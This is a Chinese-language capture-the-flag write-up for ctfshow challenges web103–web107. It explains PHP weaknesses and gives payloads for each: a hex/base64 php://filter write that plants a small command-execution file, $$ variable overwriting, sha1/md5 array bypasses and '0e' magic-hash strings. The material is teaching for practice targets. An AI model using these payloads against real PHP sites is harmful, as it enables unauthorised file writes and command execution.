ctfshow web入门 web103-web107

1.web103

ctfshow web入门 web103-web107_第1张图片
和102一样
payload:

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post     v1=hex2bin

2.web104

ctfshow web入门 web103-web107_第2张图片
值只要一样就可以了
payload:

v2=1
post v1=1

3.web105

ctfshow web入门 web103-web107_第3张图片
考查的是$$变量覆盖,die可以带出数据,输出一条消息,退出脚本
$$是把变量的值当作另一个变量的名

$a='b';
$aa='c';
echo $a;    #b
echo $b;    #c
echo $$a;  #c
分析:
有两个地方有变量覆盖,有两个die函数输出,最后一个die函数要用的话,必须设置flag,但是设置flag后就只有进行变量覆盖了,所以只能用第一个die函数里的error,需要考虑怎么通过变量覆盖使变量error和变量flag相等,还需要借助变量suces
当get 方式传入suces=flag,$key=suces,$value=flag 
foreach($_GET as $key => $value){
    $$key=$$value;    #变成了$suces=$flag,$suces的值是flag的值
 }
当post传入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){
    $$key=$$value;  #变成了$error=$flag,$error的值是flag的值
}

payload:

get   suces=flag
post  error=suces

4.web106

ctfshow web入门 web103-web107_第4张图片
数组可以绕过,sha1不处理数组
payload:

v2[]=1
v1[]=2
或者v1和v2随便用下面的一个,科学计数法为0
aaroZmOk     0e76658526655756207688271159624026011393
aaK1STfY     0e66507019969427134894567494305185566735
aaO8zKZF
aa3OFF9m

5.web107

ctfshow web入门 web103-web107_第5张图片
parse_str将字符串解析成多个变量

$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar

数组绕过,md5不处理数组,返回null,v1不输入业返回null
payload:

v3[]=1
v1=

参考文章:
php特性

你可能感兴趣的:(ctfshow通关,前端)